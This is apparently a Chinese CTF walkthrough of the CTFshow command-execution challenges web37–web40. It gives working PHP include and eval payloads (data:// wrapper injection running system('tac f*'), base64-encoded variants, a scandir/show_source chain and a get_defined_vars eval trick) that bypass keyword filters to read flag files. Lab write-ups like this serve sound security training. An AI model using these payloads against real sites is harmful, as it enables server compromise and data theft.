CTFshow 命令执行 web37-web40

目录

web37

方法一:php://input

方法二:data协议

web38

web39

web40

方法一:构造文件读取

方法二:构造数组+rce


web37

php 复制代码
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了flag字符,不区分大小写。

我们可以看到这里有include(c)函数,通过c变量,我们可以将想要执行的指令传入,如果要用到filter协议的话,payload可以构造如下:

?c=php://filter/read=convert.base64-encode/resource=flag.php

但是由于过滤规则,把flag过滤掉了,这里就不能使用filter协议了。

方法一:php://input

有多种方式来实现,最常见的是利用hacker插件,将想要传输的参数,以post的方式传输

也可以利用burpsuite来实现

方法二:data协议

php 复制代码
?c=data://text/plain,<?php system('tac f*');?>

也可以将要传入的的命令加密之后才传入,并指明加密的类型。如这里采用base64的加密方式,

php 复制代码
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==

web38

php 复制代码
if(!preg_match("/flag|php|file/i", $c))

可以看到把,flag,php,file都过滤掉了,多了对php的过滤,于是就只能

php 复制代码
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==

web39

php 复制代码
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

include函数表示,在输入的参数c后面加上.php,解法同web38

php 复制代码
?c=data://text/plain,<?php system('tac f*');?>

web40

我们可以看到过滤了好多的符号,最重要的是单双引号,斜杠、逗号、以及$都过滤掉了,这意味着我们之前的哪些方法都用不了了。但是值得一提的是,这里过滤掉的是中文括号,英文括号并没有被过滤掉。

方法一:构造文件读取

于是这里我们要用到许多的函数:

localeconv():返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.)

pos():返回数组中的当前元素的值。current()与其相似。

scandir():获取目录下的文件。

array_reverse():数组逆序。

next():函数将内部指针指向数组中的下一个元素,并输出。

print_r():函数用于打印变量,作用对象是变量。

show_source():对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮,作用对象是文件。

highlight_file():跟show_source()类似。

开始解题:

(1)首先我们看看localeconv()的返回值是什么:

localeconv() 函数返回的 lconv 结构体的内容。这个结构体包含了与区域设置(locale)相关的数值和字符串信息,用于货币和数字的格式化。

(2)再用pos或者current函数返回数组当前元素的值:

复制代码
?c=print_r(pos(localeconv()));

得到的是一个点:

(3)使用scandir('.')获得当前目录下的文件:

复制代码
?c=print_r(scandir(pos(localeconv())));

可以看到目录下的文件,有flag.php文件

(4)使用array_reverse将文件目录反转

复制代码
?c=print_r((array_reverse(scandir(current(localeconv())))));

(5)将反转后的目录使用next函数,将flag.php文件输出,值得注意的是,我们这里输出的对象是文件,前面用到的print_r函数输出的对象是参数,于是我们这里就只能用show_source或者highlight_file

于是我们可以构造payload:

复制代码
?c=show_source(next(array_reverse(scandir(current(localeconv())))));

得到flag

方法二:构造数组+rce

get_defined_vars() :函数返回由所有已定义变量所组成的数组。

打印当前所有变量:print_r(get_defined_vars());

array_pop() 函数删除数组中的最后一个元素。

拿到数组,再拿数组值,数组弹出并打印:print(array_pop(next(get_defined_vars())));

复制代码
payload:
eval(array_pop(next(get_defined_vars())));
post传参:1=system("tac fla?.php");

参考博客:ctfshow-web入门------命令执行(1)(web29-web40)_ctfshwo web入门命令执行-CSDN博客

相关推荐
hengdonghui3 小时前
Writeup 4 0xGame 2021 · command (WEB)
web·ctf·rce(远程代码执行)
菩提小狗6 小时前
每日安全情报报告 · 2026-11-05
网络安全·漏洞·cve·安全情报·每日安全
QZ166560951598 小时前
政务泛监测体系能力排行:AI 重塑监测边界,治理的颗粒度革命
网络·人工智能·安全·网络安全·政务
0xBADCODE16 小时前
2026 强网杯 Web 题 cwp · 全链路复盘
前端·安全·web安全·网络安全·系统安全·ctf
其实防守也摸鱼1 天前
个人学习 Pwn 思路:从基础到漏洞利用的进阶路径
大数据·前端·人工智能·chrome·算法·安全·网络安全
m0_715674431 天前
政务泛监测体系能力排行:AI 重塑监测边界,治理的颗粒度革命
大数据·网络·人工智能·安全·网络安全·政务
菩提小狗1 天前
每日安全情报报告 · 2026-11-04
网络安全·漏洞·cve·安全情报·每日安全
杨凯凡2 天前
IT日报|2026-11-04:Copilot 接入 JetBrains Air、CodeQL 2.27.3、Agent 依赖自动更新
网络安全·github copilot·codeql·ai coding·dependabot
航天智算2 天前
航天智算 HTZS-1700 全信创网络安全移动工作站深度评测
网络安全·国产算力·国产化改造·算力适配·测绘信创
longzhizhui9262 天前
Ubuntu 全版本 CVE-2026-98432 内核安全升级操作手册
ubuntu·网络安全·云计算·bash